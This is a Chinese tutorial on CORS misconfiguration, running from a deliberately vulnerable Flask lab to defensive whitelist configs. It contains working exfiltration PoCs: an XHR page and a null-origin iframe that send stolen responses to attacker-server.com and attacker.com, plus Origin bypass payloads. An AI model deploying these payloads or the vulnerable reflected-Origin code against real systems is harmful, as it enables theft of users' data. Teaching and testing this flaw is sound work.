【教程】CORS跨域资源共享漏洞:从原理到信息窃取实战
适合人群:Web安全初学者、渗透测试工程师、前端开发安全工程师
前置知识:HTTP协议基础、JavaScript基本语法、同源策略基本概念
实验环境:Linux + Python3 + 浏览器开发者工具 + Burp Suite
一、前置准备
1.1 工具安装
# Python Flask 环境(用于本地搭建测试靶场)
pip3 install flask flask-cors requests
# 浏览器(Firefox/Chrome + 开发者工具 F12)
# Burp Suite(抓包改包,查看响应头)
1.2 本地靶场搭建
# 创建一个存在 CORS 配置缺陷的靶场
# 保存为 cors_lab.py
from flask import Flask, jsonify, request, make_response
from flask_cors import CORS
app = Flask(__name__)
# 🔴 危险配置:允许任意来源
CORS(app, resources={r"/api/*": {"origins": "*"}})
@app.route('/api/userinfo')
def user_info():
# 假设这个接口返回登录用户的敏感信息
data = {
"username": "admin",
"email": "admin@target.com",
"role": "administrator",
"session_token": "eyJhbGciOiJIUzI1NiIs..."
}
resp = make_response(jsonify(data))
# 🔴 危险:回显 Origin + 允许 Cookie
resp.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin', '*')
resp.headers['Access-Control-Allow-Credentials'] = 'true'
return resp
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
# 启动靶场
python3 cors_lab.py &
二、核心原理
2.1 什么是 CORS?
CORS(Cross-Origin Resource Sharing,跨域资源共享) 是浏览器的一种安全机制,允许服务器声明哪些跨域来源可以访问其资源。
简单说:同源策略说「不行」,CORS 头说「我可以例外」。
2.2 同源策略 vs CORS
| 机制 | 作用 | 说明 |
|---|---|---|
| 同源策略(SOP) | 阻止 A 站的 JS 读取 B 站的数据 | 协议+域名+端口 必须一致 |
| CORS | 允许服务器有选择地放开跨域限制 | 通过 HTTP 响应头控制 |
2.3 CORS 的关键响应头
| 响应头 | 作用 | 危险配置 |
|---|---|---|
Access-Control-Allow-Origin | 允许的跨域来源 | * 或回显 Origin |
Access-Control-Allow-Credentials | 是否允许发送 Cookie | true + ACAO 非 * 危险 |
Access-Control-Allow-Methods | 允许的 HTTP 方法 | 允许 PUT/DELETE |
Access-Control-Allow-Headers | 允许的自定义头 | 允许 Authorization |
2.4 漏洞本质(一句话)
CORS 漏洞 = 服务器信任了不应该信任的来源,导致攻击者可以从自己的恶意网站窃取受害者在目标站点的数据。
攻击者网站 → 受害者浏览器(已登录 target.com)
→ 通过 JS 发起跨域请求 → 携带 Cookie → target.com 返回数据
→ 攻击者 JS 读取响应数据 → 发送到攻击者服务器
三、实操步骤
第1步:CORS 漏洞探测
# 正常请求,看响应头
curl -si https://api.target.com/api/userinfo | grep -i access-control
# 用自定义 Origin 测试
curl -si -H "Origin: https://evil.com" https://api.target.com/api/userinfo \
| grep -i access-control
关键检测点:
| 响应头组合 | 漏洞判定 |
|---|---|
ACAO: * + ACAC: true | ❌ 冲突,浏览器会拒绝 |
ACAO: https://evil.com + ACAC: true | ✅ 高危!可窃取凭证 |
ACAO: https://evil.com + 无 ACAC | ✅ 可读取公开数据 |
ACAO: null | ✅ 允许 null Origin,可被 iframe 利用 |
第2步:构造 PoC 页面(信息窃取)
当检测到目标存在 CORS 配置缺陷时,创建一个恶意 HTML 页面:
<!-- cors_exploit.html — 托管在攻击者服务器上 -->
<!DOCTYPE html>
<html>
<head><title>CORS Exploit PoC</title></head>
<body>
<h1>正在加载资源...</h1>
<script>
// 目标 API 端点(存在 CORS 缺陷)
const targetURL = 'https://api.target.com/api/userinfo';
// 攻击者接收数据的监听地址
const attackerURL = 'https://attacker-server.com/steal';
function exploit() {
var xhr = new XMLHttpRequest();
xhr.open('GET', targetURL, true);
xhr.withCredentials = true; // 携带 Cookie!
xhr.onload = function() {
if (xhr.status === 200) {
var stolenData = xhr.responseText;
// 将窃取的数据发送到攻击者服务器
var img = new Image();
img.src = attackerURL + '?data=' + encodeURIComponent(btoa(stolenData));
document.body.innerHTML += '<p>✅ 数据已窃取: <pre>' + stolenData + '</pre></p>';
}
};
xhr.onerror = function() {
document.body.innerHTML += '<p>❌ 请求失败(可能被同源策略阻止)</p>';
};
xhr.send();
}
exploit();
</script>
</body>
</html>
第3步:实际利用场景
场景 A:Origin 反射 + 允许凭据
# 服务器将请求的 Origin 原样返回
# 检测命令:
curl -si -H "Origin: https://evil.com" https://api.target.com/profile \
| grep -E 'Access-Control|HTTP/'
如果 Access-Control-Allow-Origin: https://evil.com 且 Access-Control-Allow-Credentials: true:
- 攻击者搭建
https://evil.com页面 - 诱骗受害者访问(钓鱼邮件、XSS、广告植入)
- 受害者浏览器自动携带 Cookie 发起跨域请求
- 攻击者 JS 读取响应并外带到攻击者服务器
场景 B:Origin 为 null 的绕过
某些服务器配置了 Access-Control-Allow-Origin: null。这种情况下,攻击者可以用 data: 或 file: 协议或沙箱 iframe 触发 Origin: null:
<iframe sandbox="allow-scripts allow-same-origin" src="data:text/html,
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.target.com/userinfo', true);
xhr.withCredentials = true;
xhr.onload = function() {
new Image().src = 'https://attacker.com/?d=' + btoa(xhr.responseText);
};
xhr.send();
</script>">
</iframe>
场景 C:通配符域名匹配不当
# 测试服务器是否信任子域名
curl -si -H "Origin: https://evil.target.com" https://api.target.com/data
curl -si -H "Origin: https://target.com.evil.com" https://api.target.com/data
如果 evil.target.com 被允许,说明服务器对 Origin 的验证只检查了是否包含 target.com(字符串包含而非精确匹配)——这是最常见的配置错误!
四、绕过技术
4.1 空 Origin 绕过
某些老旧浏览器或特定上下文下,请求的 Origin 为空。如果服务器将空 Origin 加入白名单:
# 使用 Flash/Java Applet 等插件发起跨域请求
# 或使用 data: URI + iframe sandbox
4.2 预检请求(Preflight)绕过
部分服务器只对非简单请求做 CORS 校验,但简单请求(GET/POST + 标准 Content-Type)不触发预检。如果敏感操作可以用 GET 完成,直接通过:
<!-- 用 <img> 标签发起带 Cookie 的 GET 请求 -->
<img src="https://api.target.com/api/logout" style="display:none">
4.3 Origin 正则绕过
# 测试模式
Origin: https://target.com.attacker.com # 子域名匹配绕过
Origin: https://target.com:9999 # 端口号混用
Origin: https://target.com@attacker.com # @ 符号混淆
Origin: https://attackertarget.com # 字符串包含
Origin: null # null origin
| 服务器配置缺陷 | 绕过 Payload |
|---|---|
包含匹配 .target.com | https://evil.target.com |
前缀匹配 target.com | https://target.com.evil.com |
正则 target\.com 未加 $ | https://target.com.evil.com |
| 未校验端口 | https://target.com:8888 |
五、实战案例复盘
案例:某社交平台 API 信息泄露
以下为脱敏处理后的真实案例
发现过程:
- 访问
https://social.example.com时发现X-API-URL: https://api.social.example.com - 用自定义 Origin 测试 API 端点:
curl -si -H "Origin: https://evil.com" https://api.social.example.com/v1/user/profile \
| grep -i access-control
# 返回:
# Access-Control-Allow-Origin: https://evil.com
# Access-Control-Allow-Credentials: true
- 确认 Origin 反射且凭据可携带
- 构造 PoC 页面,诱骗受害者访问
- 成功获取包括邮箱、手机号、好友列表在内的完整个人资料
漏洞根因: 开发者为方便前端本地开发调试,临时加了一段中间件:
# 🔴 生产环境遗忘删除!
@app.after_request
def add_cors_headers(response):
response.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin', '*')
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
修复方案: 删除调试代码,改用白名单:
ALLOWED_ORIGINS = ['https://social.example.com', 'https://admin.example.com']
@app.after_request
def add_cors_headers(response):
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
return response
六、防御建议
| # | 建议 | 说明 |
|---|---|---|
| 1 | 使用精确白名单 | 不要用 * 或回显 Origin,列出确切允许的域名 |
| 2 | 正则匹配加锚点 | 如 ^https?://(www\.)?target\.com$,防止子域名抢注绕过 |
| 3 | 同源策略兜底 | 能用同源的接口不要开放 CORS |
| 4 | Credentials 谨慎开启 | Access-Control-Allow-Credentials: true 使用时 ACAO 不能为 * |
| 5 | 限制敏感接口的 CORS | 仅对公开资源开放 CORS,用户数据和认证接口限制 Origin |
| 6 | Vary: Origin 响应头 | 告诉缓存服务器响应随 Origin 变化,防止缓存投毒 |
| 7 | 生产环境删除调试代码 | 开发用 CORS 中间件上线前必须清理或加固 |
# Nginx 安全 CORS 配置示例
location /api/ {
if ($http_origin ~* (https://app\.target\.com|https://admin\.target\.com)$) {
add_header Access-Control-Allow-Origin "$http_origin";
add_header Access-Control-Allow-Credentials "true";
}
}
七、常见陷阱
| # | 陷阱 | 正确做法 |
|---|---|---|
| 1 | 用 * 允许所有 Origin 却还开启 Credentials | 浏览器不允许 ACAO=* + ACAC=true,会直接报错 |
| 2 | 仅在前端设置 CORS(proxy 配置)而非后端 | 前端 proxy 仅在开发环境生效,生产环境无保护 |
| 3 | 误以为 CORS 可以替代服务端认证 | CORS 只是浏览器限制,curl/Postman 不受影响 |
| 4 | Origin 校验用了 in 运算符 | "target.com" in "https://not-target.com" 会误判 |
| 5 | 认为 OPTIONS 预检请求防御 CSRF | 预检请求不由浏览器 JS 控制,攻击者可直接发 GET/POST |
快速鉴别技巧
# 一行命令检测 CORS 漏洞
curl -si -H "Origin: https://evil-test-123.com" https://target.com/api/endpoint \
| grep -i access-control
如果返回了 evil-test-123.com,说明存在 Origin 反射漏洞。
八、总结(含速查表)
CORS 漏洞攻击链
发现 API 端点 → 自定义 Origin 测试 → 确认反射/Credentials
→ 构造 PoC 页面 → 诱骗受害者访问 → 窃取敏感数据
Payload / 检测命令速查
| 检测内容 | 命令 |
|---|---|
| 基础 CORS 检测 | curl -si -H "Origin: https://evil.com" https://target.com/api |
| 携带 Credentials | 在 PoC 中设置 xhr.withCredentials = true |
| null Origin 测试 | curl -si -H "Origin: null" https://target.com/api |
| 子域名绕过 | curl -si -H "Origin: https://evil.target.com" https://target.com/api |
| 字符串包含绕过 | curl -si -H "Origin: https://target.com.evil.com" https://target.com/api |
CORS 配置风险评估矩阵
| ACAO 设置 | ACAC | 风险等级 | 说明 |
|---|---|---|---|
* | 无 | 🟢 低 | 只暴露公开数据,无凭证 |
* | true | 🔴 无意义 | 浏览器禁止此组合 |
| 回显 Origin | true | 🔴 高危 | 任意网站可窃取凭证数据 |
| 回显 Origin | 无 | 🟠 中危 | 可读取无凭证的敏感数据 |
| 精确域名 | true | 🟢 低(如配置正确) | 仅限白名单域名 |
null | 任意 | 🟠 中危 | 可被 data: 或 sandbox iframe 绕过 |
💡 核心记忆点:CORS 漏洞的钥匙永远在服务端响应头里。检查
Access-Control-Allow-Origin是否反射了你的 Origin,如果是,你就找到了信息窃取的入口。